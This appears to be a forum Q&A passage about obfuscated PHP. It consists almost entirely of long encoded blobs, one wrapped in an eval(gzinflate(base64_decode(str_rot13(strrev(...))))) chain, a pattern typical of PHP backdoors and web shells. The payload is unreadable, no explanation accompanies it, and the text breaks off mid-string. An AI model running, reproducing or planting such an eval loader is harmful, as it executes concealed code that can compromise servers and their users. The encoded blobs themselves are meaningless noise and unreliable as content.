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')))));

A: <?php

$code = <<<CODE
eval(gzinflate(base64_decode(str_rot13(strrev('==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